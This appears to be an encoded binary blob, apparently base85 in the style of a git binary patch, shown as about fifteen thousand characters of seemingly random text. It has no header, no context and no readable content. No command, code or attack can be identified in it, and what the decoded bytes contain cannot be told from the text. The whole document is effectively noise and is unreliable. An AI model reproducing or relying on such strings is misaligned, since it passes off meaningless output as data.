zfyrPc14ql=SfJV$InlN7;-P94n8aB8;>RQjq6-e8R<{$QRds4PNh~lJdgdP|t)eW_EX*W}i#gO6X|k;-BHf})>Q|J3^qxoFoFk_z`84K65ly^x zk?gOZBfFagG^VD6X8iDkMwZ+pdG8o%F?Ag&xqnBUg11tKsnGwZ8T76D0&4FRN$o6A zpJ|RJy^#|a*iM+vY}^CtaB%Nlb|ij3TeEUC>o(kNtmds8QoDQvvh1gUMW|y+kC8=r z78#Ugk;;j9GQXHlgY!<4&bb`Y%+8>}xhJXj$)jYLf13Jd9wGhn*`%J6M*Z_LNc%kU ztURCWkPbuShb8jE<>p0lyk1CFSM!8)%y@H?roVkj?nSq#hYwboxXhzYfg7mv^tII4 zH)3;>C~tC81*kcNZO^z zuoc+P`9z!_r;(S>QQtGkq;@)mtcvrfUq%WIJ$s4br3)zl>*mO4*fO5fP{&^P8@Bo8~%9O0R%@94>fI*5>b-~dZMu%AW8B^0Yx zq*MR0!!+pP5zGq??saaJtig)I&5fFPpUDQO-{u zBZni&H0$uIRh$+<72Z#@@L7rzzMadZTALY>>zVmfuwA5TW3z1T3vsRCw% z&1GRhv-IuuY^MP?PoO*=BmMGYWDMO~UV@w#Q^}+xlZ=Z_Q!mJ&pPNbM*;!4)X_DHzCk%?Yve(e zqbJJ@cko~wBcoR``?)bz#yLl6KxHavmmEeNo=VnLsLL-LA%mh6(k@7)UYSXxm6b+X zr_)I1bOu>$-%C1yv#7VjBr@N6fCkvPle&L6^`90+y=}&jX7F5cicci(oVp z{2kGre}n#qfrIBT;|USWXnZ*Hh*`+IzMDHj3$~(Jo=kd|Qpf->ElEb-Ae~IgPLfd} zY&hpQsUJH?I_XD9W6^RNzIhKBE{G+IO$lVOVh0(7FQUFd3y_us8nOXtn-EGiTlSH` zs;$&@k~a-bP9mfHJkmXzMLM~tQws}eN_jbXT&*DID<$LsTMBx3g+d=+qmai}Xw^?O zG`8p(F^^T$ZAvt$25+N|F0-lKa8DXKHq6=3eI_#)H%h0$~U)38}?KW7Cy&_13}E4s|`a zhx()>(8yx6?dQ&rad8gn*kT%Yy@b5)lv7B}Rf?#+LF>N1Lz{kmPv-mbsLhl$)M@-e zYGdw8dSe3D+jxYiTTKdKF}ruMwcB<$=@cYUU$j{|7Y~v#x1kE;Lm6zp@CXe)dx!>| zI6xYSyU1eyezM&L`-oaf{l`wDzOy&b$c#cteDWj3KYUMdz>(UIH1S*&sqZ*Snh`Oi z9yph@=PW0~<(sMB>Q$thmO|EfxzsQ90I8)VA`QGuUnI{fW#oUWoMzTk)6B=!H2djw zTJiE0ou;42e)R!TLVvX#`g)oU(=rU*g3JtDXRu9Mx3iraw)8MRx$mv|Rn$9|(`Y2h zt`+)}mX|Zg1bqjS!gMmsO(v7QyU1+QRGRBXL5;ADWx_#8(sGs*T~8Vxy!x(s!(cFsw%xp1C5 zDq%y_Nwee>K7j(J=oQ-e6$Cr63HMbo($$Lh3tz-%QKAhmdBC# z-s80G-fP-_{~hhU^OjO;exQs;A1M9lM~c1ol8m!TsMnT68oc8$X-;229S0kc&Wcsk zbI)e#86QV|P`6qY=90^$i{yi{?0>zAyik^d?^n?**wA+`@6gT<&*Od(dd5}7al|XlT5== zcMjjNlZ<0Gk)eMi4O_CEbho9@svFPfz=Izs< zA~HXEnoJI7k#6ujGMG7+^iq;Y|3o?sKYLne$A_QKrEzEz0j(s3+c~YO+$AaqwtG&DE|HrlyL7Ir9Jvcr=I;n zr=R_dG`*wa&wr+fin}!A&aE?K0y6RBj7bDCUAiz)cVRhoV81}&($P0L|BYoY(OuOHE-H&3XPexX?hGDud< z-n;FvajgL6=;!?zlRen9GpQF1ALNqF)l71`o<-xU&ywr4JhHFIC7tufQI1nd=R`8; z?ms{}69Y*P^@?HQNt#|%O-GOiN4ecY?i|?9si!~Dag>EDah3(v-_0R9o7U(_h?GxJbww89keMSX;zNhsC zCDgp%sEJCtE-e9eFgf)zjwG{`1BcohoKK;VPm0JA_0X6rr;&yn8eNf1qb}#8?av_f z)I{pLZ!4)yokqPzPa)l{he%_0GKG{sfUbX}WR!(tsE0CZQ5QY=KnL%?q2%X3p^Yo2 zLE8?H+3e+HF>g8PuU=2OupeHAM-=6g_q9q2yM2`w!gkhkn}1V7+ul5;J@1~8`*6ksarJG4}{1h5GBZ@3wJJuL0j7J+h`{8w3{roQNhRq~E_Px;kKFGfrw19r4 znB&>Mvp#lAS!XO$)*V|6Et|;dNN$Jj(Ypgq8@&8NOSEznuGEAsh2-d{DU{N_5Sy?;PPFXQCvl% z&t4$y*(=FtY6y+mnLxIi_mShlqp+OW=G4KyfpF6k~`DXb!Mw40^})5$9FIGLjCse6Uf zKzAQ<*ceB)3s%thToYH1hJlKAO09mn{r zlkpTg4VO@+={8e9WAeL3hOy=8N7SBzgw;BCg4LusRay#iSN87L;eT0=;$!uL5S)sq-xNawnSiG9_y!=VWa|Su=*hl)) zBgiG~7pw7_u>I1K;Atlw+X0ocD>_xN+;+y@=42k)`?^0$~uKTgGCM#==VQq)H*Ws_^x1T?Ytq8=D3Z)!BRWe~kv+z0BhX&i zY}!VSs58CK=TTtA1#-u;A-5}N`IB3;_T>YV*(bCQvhRBPh_*rR2Yz@#hktxYS6t6x(?;In3k!WpaCdg=S!kF&*~mb+eLOu9VUM z)JaCgxnzrZA#3#K4KPl2EiEKR)Qi?AD-%IoiVA2FY&`(|%o#!-;U+D6dWV*wzTxfc zp7&2F0p<1J+ozQJ!}oOb{Y%P0n-y{O7U|C2VA0v!i*>gRsE5BR|LW{hY*R)$+a0&Z z+WXo?n*9C&c|N{M0S~T{>y0w9z}(gtq+?j&X>zV8B&UjtWQKG&lwlt6VlItG-^>&9 z(_XhLh4M46<~l_`y-izR)zEg>di?umv;}qMLD)>f`{#5NdQbo3N80xC8EM7r@-bYp zoprJBt|vQBOH<_Ecp`&sNl0Mv>o>QVb|~@E_*b`S(wn<9~SM9ekrVk@I&u?4ZQfqs}zobdVq`Fwwm zLTYc*^v5?S`0;g`TMId#+@?^}Df7?|Ui|Dnt$A5P>t8*hH7KL2zkfh`Aun%RcfP5m z{m_5>$L}c)vhRBRoYJme&%IN6fqi!*gXyhL`1i`cb2nQyZyuYoeH+^_e-TT_&)d8J z^Eh*VenE55&z%qXR>3Y}P$rk5AF%fIV~T~IH}SHGI(-N1dkf0v7JiQUW$#a~>A*ie z;NJIi@aB#0E3aO2zEW1ou9ugxdH)~EKYQnP7P};d#g!DZjVo5k&e^tQ?xN!Sw=1FB zRX=}En?AjwjX!-)Ykqh}8!(32iL$vJ_Ob70$ouI%ZTG^u}>GwRi zLHnOzoC6wvtCA8bOCKI7JePI$LUHi9+`JCQj~rpy(0Oq|J}bTXKP3Ob11utH4qJU7 zfz4mFw)N7ZN356bPl)+0H9dRtg`%82H!IG@T`D=dEjufDe|qYyqbE*`C^~<>b?&+I zEF&d_oq^8(BjiUNHGj=|wk$P;EkAgOEyy^*wxBHTxn0HfRFtu8x!G+0$#iz~)G1b2 zSjckE|LgK&Sv(HWw*W-+6I;Zu`D!&z-@_$i23i1$MWGF74Z^X>R0!wsqjAkC2;V>_ zY}z#w)1JcGQ--BljI-s>)o=>F1z*r;ehtU-S1EjWLij(S1$Z2bs6>20YsA+QD!d=z z0>yi3p4*Dqs#Y6V7n*m7|4B^9H`xulbXOFaw^6P;V^=uK#`-zaE#bZRmvcHG>u9T4Ehh%W+tjuX4%quTF^-*o#;QCZ~^)|-69nxJ=(2kU0!Z{ztKU^OrrPzB_G zI(@Wif$spcYWY=QeMxsE`4;1q+kA6YvGagW@_n#AqptW#DT@+<<-n&o@B^iAnOcEhrws8W${e5!Rn~ z?b4aG>8erCs;dz-?}T05T}?@*rxnTe8%c87SO=oxjCpgc12LRPibJp_M1KPO+D=$6 zg0&x5H=+P}mAYuWRaR2i+p0x#PuQ9v-pkjj)TMvPl9eoW^#-P(@5tJ6-_xQUY@m)E zvmfK#MWy@jml#k`3vD-2afzhvGggpl#A@n1bulT8noZ4hCySi{n0z=&VFcI)1WuMcSX#d?QXv*xqK3zx8#gRPi~^;k9}ay8TF zW9ZmQV-$5>xPgXbo+MNB9nGFxBGV_uWC>rnb!|C~xK~M*=ZZ;V(-CS9|A7qVALT}b zk+Q=~QgNL_t!=Qj#LSCY8%-cN$k5AZT#cirVa6#-A{7@MiXtgPEJ(Z2a^0ELQh^O$*jWZba_ z;MG&4c7yx5j={H{PFfdEk|F%kgU-W8n17NqxvvGj=b;zQVy(bQ8j5uS4wwUVsyM#NG=d^r50=9nwjFHRxd^O%!CdWRtG=7&>g;H2rK zJ1d3;O$s2*(C=u#IB&ApxQ+C4pcl-0_RdHqyHc!UfDd;P{5_uV_xRkepqa0)(>(O$ z+eaP3`VshR$3#&F3x6_n^z1lv)Kq4cwwqZV-FbCTHP+hT{U)VYPf-Rths_N-eT)Xi z?INv^xn#U(Em^MJBlw*Lt=>t47i}Q(RXeHwlDpXgtOp z0r#rlyR4!WztqsEvzMv4%L3}|vj)BI ze;mGzQ>1+c`LJ^v4V*R;e!Zon6B|zx@~_Z@b63eN?-J=Jz*iqQk2Gd2AZ^SyYapLA zPoP2MEfy^tP_8n`UHH3 zxxW>p;TuB34jv+-%oC)JbsHA2hpDiIkULcr_NbZ`yu3lj;XgN77zba&4AQdqo;A?k zmpQFk#9Wtrw`tIwOd5fC;SrdhH{xq7Fjs7te1J?Bt{`2%S){deH_a=*Psy0ePJvJ7 z?8{$i*|kTcvFiwF?nt8U#*XlR%pr}#2Vf7FXNK>L`<;Sr!taWFh`BeejwLGjhoQ{%$?^=?7z-1oyq@=VFak3CaWf@L?GDM`PZ6 z#rqmc`}qxZbDc*$>_V3Ia*AMEH*RA4)^22`XA}NmaQ!&^Gyv*Y2h_jXXOacK#LyM1 zsZZb{a>yux?td11SlRFeoq#N9FMg(xrwhq&_YoR2eGbZKJPl4eLKg6ySYN33;4#=OVjEAfSItgYU-fG(zjGZ1n7z!FmrduYx*o66WQdP}dq_ zJ(TA0qolok2Myr9jYHWKhk1DJ|2P3(?CGaJQx@j0!%DB?y~oH9K66vVHHIAyh3~+n z>>@?nzClaib6SV7>qd;f(_jO;N>LWn>`nN5-Kq5BEHnKCD@r@X#^fJ+V)_Ve3VZ`& zuc1D#7sK+>}NWSv>%5bE8*z}8hZw9<>HNG zI)4=z%vwa&`B^mXav?2zd`p~B+ZIAnz;{{_E(6my}7LXx5eMWboZ4Wvf+tnDv@{0vdaNa(*t0JA8;8-nK(F%^wqs-m%IW5&R@;)(O{nj2W#a07F3m@60N4xiHj_*oJ$_m=SK z2THB2xo5m=M{Co?+nG7$3?=wy@86Ylm?i9vW7Bg^um!7Edj{Vu|1IQ0Eroq}LUS;O z_8sQ`=Ad3#2H(PlSC44}{0f^eKOe_^J0D-s-cRo^@BM;uZr#{kQFxA-#O`BeOLo+~ zo6GQb-XEBEip}1%k!2lBVyhDpg6Cc;db$#My78A+SR40-He!Bn$H$kn@7K4q3qFBO z(0APP$CO%CnS8nAVy~=wcUXCG;eYA+e;qS=w_)vOG2Kc^qu{r9~;;}{E_HHR(VyN|6n zmBCh?&1UN>FR^_OuCv|cB`l#Jmt~cdu!lNugDUf=Z`!g$})o720*Zs;Jx+dmNfyP;A*O1$_D5AnYGf!nj?Dd3a-2 zWS`;8an4%SRz?Qn)Ykc|jV?9oYD3L?IZ!K2SByt72F0Eb#V!L$sZG1r*oQk_POhc0 zoLnn5cA_6+U57Ax-?^;2>Gi6SYvw;>jkjBOA~dO!FgO`3}J+}*7063O@4cm z#uQwn?$bA63>8H^OeWqNHNn5doVZB@bWZ_JJLxn1M4vttwi518vXkfGywes zeY6o1u3bj`aFb@kSE_`y!zz{mG50e8jC*Dq95euM$sKqc(p#wHrEq@$yBBWlXSkanwz$g(|{& z&$Y2+vhgsTenV9Lo+$E0Evd~~L0bFwkZEBadEcm{^`D;8l9J2R%Q|pwbW98jOFb~( z@(Fy+*Upi8@_y>&H=CAKzog6fbCYbq8fz7_(N{Br9_By1O?yx;rJ>y!=rm*8@`a1p zn%VQ2+p)c8oL^po9&$+yal1{ML(8u|68f@c%eIlx%tbV@ya?+2PWD4WYFI^bTHmzR6&K^!?3p0;x@W2`@JFF*jx`uVH@Ucxt8?x$c4dniw zQvUcrv6WYHO_%Lq_M4OHp5L%0mStjX$L!n_EOx_&A&YO6moGy*w+_$5{qh>?iC)ox z=a1f0-MtwSTV2gem&LJ>@KZ_NFL{1e{zPsGubfrTZJlXF{%`w8;tpn#kYE}sVD_u$*5vd zsHWK|dM}efpIU9CKikNL@lqtiw6#UG4Bv5%+6I*luXFhR?&ggDl_9_4yUk_ze;<5x zpX)dHg948KuH)Uiw{P#$T~uGY`t$YbYd>GVdbQDKs;^!9^yJBtxBsqm zpswWeo3a3(+v5k{SJiHP?CM`kO^nFe()@41#>#?5+E|g@NE@=XvBonN4W2VGHl(nS zAmZu#SLKInTuwe0*b^88U~W*s0B;(et+eEhR)VoB!o6ax7p4?u1za^I$&=@J&CyISl z@_bJy_Feub$S*Ol_MLl9Qt4~>v}I2tYSjz-Te&X+atnJ~`My^80QeqPg<su}iZ zx0^JVdZT}(yBB-Ua6W7U@xe48T#RuF-KK#lJs${%g?W7kr~qD z_^^zYuUsz3;o#svadB~U?%X*#c<>C=a_wY7m8jDs$mO!amCKOw9K~X22NpohFso zHwtk7k}lF=48M+XRTeE%F?VTF8Uo;9wd%b}YHMxzW_AQ>jCT4m5D!KzjG? z9r^qF*QH02uCLL?^xt`e$M|kBn|{~Gg%9XjCJn2^J}1a!!Tn9hgQ1slXi!O(us_rU zdqOR-hteAN3@>MqA$(I-RXJpeJ&0zQJG7}TpyjJX`searzmEAI0|P;JZVMbPF4%`_ zY)o(7yrIlYjEe>gAa!+h>eZ_k_3YVGur;ppHf`Dv{FilU`i{NK;i+6=`T_(2yZRNJmG9 zw6wH@>;C=wQ}5org>r$t>W#{;plYZw;NZ^p8khs`dm)hqmK=r5Cm>q}sbR0&5a^um zan&k>ZxHisgA21stpNLEFh|YzgPIhdA@%bo5a%4}6lIcn;c+s9Pi%GU>N@-9ww{E! zNiQ!iGBGhBQ&UqKHf$J~o0|)EucxOc$Uk`SU>Y=NkdPN@YHFmas`{7m4_v-7TjT0+ zQiK1lKlZl{Du$1&Bo%(VQ`qluhPq@Oq(S*7$fPKb`eQCv594nQtdAXpy%TDulCcK? zd4CFHXzW=Un3I7qHs9x(Nvl?`CQC~z8adLItgNg_Z|G1mGBOfm=XRqH-47X}M`~*Q z1(|ssaG81eme|j?9Xkqb2(OnUWkK40g4b_~(!qYReiyL^0(*B3t(5IC>HF&7Q3-UO@01*Ry|*GPLgAilkfk&|7Wl3Wwx>Nmgjx? z{k&vc44D?Xf_TKq+5_jx0t3heF2Vat$rQDf;&&v`nw86F)vD$HXscI;(Z{wH&;QZZ z;Q87Wv{t*W!BzX-isiH{B$yWY&8I~R=TYb)e_A-#gJPp1>DH}VL%RenTEQV^YX_QP z5kE8`e(3-ok8mQ6c}nQ`%SX=bEnr=N74<~SN8O%5m8Pr%-Z+qI4D_U`-CU_Ebd%bSqn;oJT)WGf&^30z zl(huEz(s76BtF8Yd5K~+Zw7q(vNBZk6*`W303LjLbZ@$T-`d zT0wVnTn?<{GT^tC0z-p19=kS%+5p#Q2ByZ~vxF)%Zb|&gwPZ{I79Z=O-?xX_9zIIS zLDY2sR-sRJ25{dQ$iL2^iCBXPH-Q&I4)@Hv7bpn1%ns@2sglb|;EjE$-nbB|)@>?c z@MFkfz+|C+_=-4NVEgoE5bHl33tT$*K75R=&HxJyxh2C_r)WHWcRV%Tw1(_fucVgK zJjvi0L@iwB6XUsrlud}4?l?+)4`fj1-N&g1>S46oz8|q$U`#!N$!5k}ViA{W5*A9f z(OZdwoNbgCLrs$6$l*vDwMXuINBG=&=E9G9@iaLB_pM=$r{BE@tkzWuczTc8Y(Gim zh6jR@z_Bpdkm)zZp%#*o!BSH<1<(Yx?NGJ>>$`px@Pe49{rliUPA1zuz?or zbC29ov#8d{g;c$#8&zpNhJ=1Db7pVZ=+hkY-r`gg8lr10xcDe}fMD_%4T7$+b2G{wlh)L_6A zvIj=jyb1LXfGw@tu`ih;B1wvh17;k2Z)Y5F2N3r^ahL`omwyE4Xz~@z{mt`MyzWe_ zf%jL)i-$jSoAd;wjCZa+->SW{y6GG03+S%>`q`@5g)|-OVA(8 zs1cwZ*ZjrU(>o9oU%if0@EsPhY@=r=nSvvzf6@^OyYi4WTzg8JuRTL-{ROanFDd5s za~ga6Jh3aItr%CkU&>0Lw!jy6 zMh-wL@E;3wHzV-VcDo{o-5x>QJUpBkcTW7?NXQThKzq$gf=yh6;y#CP4vs8P)9IE0tn(DV7zk2i9bw!5niOH05 z;hRU_+aQ0WE#|*%_73Wp4Q%ZR@TOGoq`g=V1a#6nl`(WD53*-%~!u$u zIkb;Dp#SpW{iuU;iiQFs;sxA@_igkaG1f)szdvFsG06M(P0gUHo!zK;w<)1o|2@6t z)Nj3K^J7zPl6C&OU=Q>MMzJND=BK?Y3 zay@>DHr@D|V$t7Ntic{Fw*h0&@S^dzUjTdgjJg3U?Fg)HE9~Ru6Y`2W=l*u%hiqyPSxe+};%f_VHU&`|Qd+r*#-NPWlQ!?pfv zk6wOr0?Z$1s6Fz4dY?!BL@r`dSt+Qokb;~h#HqmN^q?UIx(DkQOt!$1*@Z^ZsMH)< zdF{!2oIU!l;k|d?`NrD+1nh+b>}R*rmq-Hrm^VS!_6;Rv0p!M-b!16^zJ<7x9=fY? zD1~|gw>I$t=>7)gKL0WWB6mc?aA~@2@ z&p|WKDH+(@6y#U!Mt(~&_Hz=}VAD<1PdRpuIsk9nc3~LF^MX-xU==CQ@mOG8Rpg&_ zhdwbpCky-cEP38U-%;mk8RmTz=3T>!u0w2I%LCaD8X6V4<)_ky-onTJYuCAJ*YtHn z{izODkjDlavPbTFjBYnzbi2X!H6bU>7W}$#)COuE=uZuL525ChAd6Q*c0}x?8OYDt z067qS<2l8HmUdy@lkb40AP*wY|G-OkNQy)~9AFn65VNxQ1fvc`7#R~ZSq5A!=znBx z7EQ^^r8%Jeps%i5b2wI`{~FeE6LKjckz0_09ID}qH{LI6=&KzI^^3>gWx?|lV01g> z9iaYsh(}&Z1vc~mbwM7D9WC348jz#Ds=zCxSP z*I2Z~{P$ShMBsI`JrIC=oAz=0sQt!xvH+(m1IO5M5cB}QMW{Wqi`t>K&!Ft%TrIQZ>z>g%)O;4eDC4Qm{Qen+5b zIIcD5|2oWn+~fPi4t96{S(ktD)Yogy=Pt=HTiaYor9RgV)39qNP!H$`b%sx*Th0+` zdny(BDE0#Qo&mLZ8u>0Dn~AfCUATf;`i7Ajo=9`EuUq$QAMl+H!0NV-LC((>$ns^d z0s4+688Wz2&`RnCInX~biG~9+>WVy=saJEz3plkPpx8AuFiWiVdVdw@?FD zlN=C62Gm06Xnd4!}sl_(Ww9Al9xsPz`F*0h1xKX zvuludrS&@+EdsQ&S;M@(drDq;*Qic+7v)zw{3~y!?n^1Y;AC3-z?)}i^sQ_faUHqE zmrtQS6LP{}OKW+@`h&)EPdCp1XI_P<&?;ava>CqfLd)<$dcS`6Ayf7&_WI&`dby zd<*Dh3+8?6i-*9zKBV~Xp3}&Kr{0=og|fff+28nZTjbWl{;|>CBd=uqIP6|7jRnql z{Eb{14Ge2r;Bxt6DbyY`tRh#j(<#lS0>1)J>3S-iI>2Yw1wOk$(2s{9w__CY=%%19 zlIyh`E1%TlYY1pY!@aIXE`f&A)%qTbd5?#_mJCdz@0DvL1Z;HujqZK&+bg4^`#PUU zy*(5)fQH@5rC~R6XfSa1gQ2evMn0Vb>dN&)|At=3rp_2oH{@{kK8u`k^m{z?`bo&Y z)AG9AZz0$2!42fTUAM~DO_=Yk==VD8*GOEWFz?amdo*ybo9^9y&^k1{+b4JO-+Xbw zeBXM`k>Lp=VW$p7PT(-)a7+ZwcnbJ-|EpQ#eDfl?0#iKU#zpY0b2JWmu=d_8(6}$~ z^ja>mR{JFsbFS6#Sczusvz68{_vm}nt0$nNhZJ`uFKcJ|;imtlOMm#|u;9go+!rqF zJMHj+yvg8slR&#Jz?)A+&gfL|5ijHxdH`$e4(#!K^mie043|85k27A1T*IZn?rQp& zW|OQ3Utfd#T8+nSdi4l+^+yzS@6Ox3XLEwioz2mXto+*^Tf-wthwt7sZr;%YmppF) z6Ag_2T*#dO@R5b+uiwKjVRzi3K)kou%2QA`0{vZ$wgP=$racEXebZ}TcV9iFh`agk z5_7U+axY%w|F%y5$`6NxE-OBLNk~_p?Fos27c#$I2pO~tbg}y7eF{N8mm=SComB_G zd_xD=f_aY6@+_Z1r@0TFlXu~I%#kBOhmRj)e&y%?Ti^0qxu&|$y7e9Xlam&$JeImQ z`1sL#OV6Eow(aHT6$r^&rK{IyMcD zsXYkEj@E1bhpW$TTt9xE{^9fYm-qNkJpb@B@A0E}{rtn{`5&(7|8({F@cQq%eEj{7 z*YpoJ`gqO%@Y>qXLLYFiKf7ATgZxY6fokbh?{U1vaP`4!?V66OhKJRDpdPLo?$v^; z_K$OM#WY)S!}y|>NJ{uZJzTXst@>yVXj=Bx$H!mI(?YI?RufvQ$*n!g1J8XsDl+12 zbX4Ta5A6l6))o`J^?7V`)bnj|G0)>-qMvK8wT92N>zmwj=f3>duiv}kKH5Ez5(B(w z$r4SGXQD@w(Au|a2zeKTOgg!m}t^49$THcnHtEJ@>wZna# zklW&0x?H8GQWa|*EM2AEsgjjyXS8nRpsfUE{ExMwML(yw*x$WB>d=?8V2sWf_=eII zYh;zIZU4M@T_Y7kUQKc2NR&W*bu9+=NAInDU%UUd*qGlOe+eW5mnmJkW!b8AV~`W` zs<@U9(-=7pTD^B*TT9p>p9Fa@H~{@`xxbBGs#vKW6JNBBiHdxI9E-+nshE9lU=@3# zK5!o@E~36U>YexL*Z)6$f4O~swsMR17fT9#sbV)Ls_VXpnuUdverqhTG4N@xj-m#0 zR$J?}x*&EZ2m;ltS(7SOtoVz*eE#|8^x0>hQ8mOFwYZ}eyVkB+u0xR`pZ)6mw@`Wx zDXR>4S8Yf4RE%KNd_!)WJuT}P8#O3!>i{pEV1Ey3$44ylU z+N6jZo6#=?zKf|I?$&&P)vH%q^D?yjhrxpf)0{bTtg%%s=Bwp%Xn7FY+*hqy)!K)m zSeuXIuf%oWo9~bOzDYJPUGR@f@Nc$&f82(GM;-}c>qf-XTOy{; zqDG$UZ1`Li#X9!Rh@)$9b1lx#t5uUBW7!dTFIfSR?w=I zD=2K)Qd$-oVr?Ny7E>_leg-1P#ed-fT8Lbu1-|ph+tY)lxlX1D$h~tKHG-11Cp`06 zyMDes;_)rDIHfjr#D|$<@P`9qtHmZo*j$<~*0=>R)bLHzYHKvf$dl3VbZlZAMIv^$ zZ{JSZ2|H{z+8#XLga6r!wh!^-eW>}oA3m%-dv{S{d>n1rw3ebaucvKWHc)C>`k{_% zmhZKLkDo_;PK&LWfwAO~Z_yHXXIsP%MEDRS)ZVih0IhBHnX73-(wJxjhCxC^wI)%?PLJ!x1Ct1*~gZ;AT4x z@9h}3_JDSOtp=`y7^jNZf`r(zJ$y+mVK=u#yjYkUL?-XWq@vbX%c=9M{ul1PL#yfTJ5C8klQ9fzp{ zux$!rk~WjQsKpE~Y8j3C&byMyPQwbM9-xk}gSFV{@XP1}u(oqx4|zSfgYm>uRp8>Q zbe%@}ZsP*`C2u~^G!tVYqk{z&zEvC#N!~9@si5wUXHn~Qh2E?v9pFz!H#2d8Qrqk|RfNgb!mOi*m z=DF*sLMK;h-g#VHzm-8NwE1^HjKmQ!67y-`%#R{=f&0s=SCKjwzKZFnI~=%)=D?4- z1-@X-AD@Vtfs;}1*am(vJz{}hbQ?i-<6J?fTdlDt7W<=5<|!Hrd(|2KqbXnJB3^SD zcF@kb#Iu74Ec}d_1GyLin#Jbz#{;ffS@^Sd!_QCJDaUF?s{fWc)&0(>$ z0Cj64asTb`ooh8yW8uf0mUDwd_|J{Ns@RTjMhpS9^%77+7Jkn*s3A7wEc`QwSxiOT z&I|FPMZgiPx_*@!4e_R$ZO5f-*c?&2!}0i+GWecWgSH*wL#>e;BO*3uzdaH(6M@(k zVk&_f$>r!Jj31aa`0@834v~mHM57Ob($2ttyaV-71Bge>HGKkNCwmd2(PCG?{SCSZ ztTX(^TD-&`@xm>@Bn(&@wGn4k?VRHd`!LkF()=iquO86WYgZ7bL!pHak7=9MPH2Vtr=2eBqyCU<-H@-Q)vj!b z+#}nS%c;qL(bNpJ99zX6fZzBY#eoKQApW4WZCHcp8F`3dN0J4YaNf%oG2Si61vp^! z+k3+2unfK&%?Gt!^M?SFx8=q)s^4zxFMJ=pLKX(L!+8MxfnOS+odh}96sq5 zYu8W<|vsr3fL%7;%O2j~wS5KA72df(1gx;qbl5aJcM zzvlPUeEqRMzM#QNBjP^Z^XJ!vbA5`8h~5w}=r;H_YUGc*mWg=XNs`iWMgU^^E&TjR zT(FoVU&KoN!^k|_kJ@<$kmH;M5n)7KieWou!-G{gI{$R{Hw$AGO#C30_%%Cfq1F|e2uMEt|K%0AtQ&S z1LEgxm#?7S+u~@<(KH$jKlm*802hJYwKZP{|Aw~in(u4dw=byI<{kTfKIY$gzHoQ) zf?+pN=lbq>)FTCs4ZkbEkJuV{Qf-bM1bw4cFZ7cxh>i9~?ZRP*Q#ix-=?x!T5bnJc z^se1k!`jBeCy|Kw%FN8Ok1T#`HS_S39*d(Q2aL{0yEhEE27@5WMuL}i%LUFB_vw%P zqTY}(L$J=1ub(GZ_}RSSr_wO(YZ2Sg{C--U!6^9qqBK9wjjJcyg>3%AKC=Z27uK7a z7`u7m&D-19~}ED-*rCGaOLhCj&~kHK1R#+WxDCb{MDS3mB% zlD8}+JzYCK^-n*dl9L6Wl$~2Wubh3g0QU(3mTVE`cQM*>_=48L&$b@^pOwJ2X?5~8 z-@pAP{^I%gQ#m=(pT6m@{NoHi|GIv0v7>|14@NFOcjkO(-nnNRZeMwZnsHAzU(Csi z&dx~Moq5J(XUaa{xqknl`4u!@gJ#73ylHL*&E=4fmX79w_9+h^d`WBRX!&UPjY3+( z?|t?WLyP;BqkQ09-|6VLaIT-?r+`fk6S+iPU{7peC!2xeXoc4T-fRM!U8{TbIlAyK zkCG*dl`UPe#K=8e5rr|e$bu9(Y z%zr&9SE|#oSPkZ$cBWPtoNrN_9YDoV$EPG}$doelqEgLUQ>of^@5)xFyre|&qF(^# z3UuxJ2S0f7uzId@zHPRCBXU}`JhT+DkB*}zzAI6a$A?OFM4g~^IQI(mo2v5N&)OKw zRX+Z2%~8%CHV2U_f?Rha&UO)Ukjs^W{14Pc=zJ5gx4aXik4UESBNkFwoLy0_-6U$* zdUz_%0V?b`-lc7mBT+vYkjr6z6gj9kKgJ&MApv!i*~7?nMlL}+{AOR&eC?Ha8ZobE zs)Br?3T?)dvCF8@eRpixV}PD2;%psT$YmZm8b;I_;1(=G4p}JKA^(8IIW=02#)vPo zY5Ll=UxH3&%>9jXI>!x zuP6A}1mr8aetCr&d#tAhU8fxBnz(MCIX4;lA?j&tN3I&`S$A5KNa4@}{LbZ*o&Rd+ zsB_2;x`&GRl@sc`&UpeH{+Vp5+tuZ~Q{-xI6*^AaOz26wk=wceak|KT6pws}z4zad zOU7kle3z2_iWR7lfjn+t9o*q>Uk3iIx-Pol5wNg9$LyVNdm?9FL0usm*j=We^~kSy zN(b(LOIsj|J4Rq$7KM@-w!jF~Sn&s6+Vbraa#|UASX;w!t3sT*;QzZK|DD?vN6mmu zZ3CTt1N4^&y$}n4(B?d=KKWk z<0;_#J{k`OPh9^Bu{FrL#JmejdWS_7|M)-ud|eS1R?I&>w!hzr!x4+G1g?A&+*-N#qb1P&|l(Qi|Fdt z*WP`PbN&1mIM<^8V{ooo&;K_(z$1SZ=i0b&$!D@$|BWnHdc(5zZ(6iyj^`E8wC6g! zr^9pGZ)Ca7Hw_!s)Nr?k|BmsZzn_G2jfx8Rj>sS3j1anecOV@-+6vFZ(3awPd%QOs z&x6rIfuU#)tby)%ks?L38ix(hG#ssVA5h_6f8cliFwS+|x@kYW@4p{iyEcgq9O#9< z2BNK@v^0*cTyey6ZG1k!Kj~@oXdQfYx;Kzn0k~gRG!2_t15JDULJofFi12@Z8s{1k z5=?n{ebBVN*QBVZQh4r4SFd)V;NZ@5{dzR|z7Z`MIIc4AJ?h|d)WPqj`@VSb;+t^q z31}VAG%T}*wbdS4e?ECl@ZCR+a}59vXx}~_tqb~I7(PlJp7)^C)aEp8T6^F-oY40@ zXgQRhKL@_c(qysd$lhKDoK2x`ixn#tkNZzS)9O?j&}yS;{VDRP^Z!?Hu4~u3p>K=O z0_f&VS2}d4Kb~v!zKOE3Ou+r=fIaz~TD7W79Xi+n52V9$9ekiVLKY+Z+(pi!ukL7l z(L^+@)+TC`etQ2uj`PppT-UB&V(q&|@3(JvMgN=Qbr706rKk6WPh1DTtd3^R)X{_q zI$FM5gzs8MWy1gg;9i^m9rUwru09&e~#*M9eK#M=bqK>IOXh1uQ8Vd8L z)4ev1zlw7WSvnN^brASW7mQ&dXuB@Wn$;1Qxz?cfrSQ{Bh>v`ZvCPDnR$z_1$;<0~ z-z7;$r7P9U`nCD|l=uD@8{88g0@4*&#yG%XgZoWQAay=jH91^ng#q;apE`~;w|s{+^d%kebyl^)Q+A! z38nA8TSm*4)kSQk&~ub1QqlL{wbii;aU#fs@b|2`N~ zGX3zwZu0jpj~Jp3xIP`mr^9|}fbTT{zt!{%Z!}*zcg~-XS&F? zsyG9uH_jHFHNPErXG37~9B9RgLBO@9qF>o)*PsWLxAJ>U_FlM95AQ9b4I91yj%R-<+79v4F6U4;5ZKp<7-!6TQ`);%pv8;J(UvVW 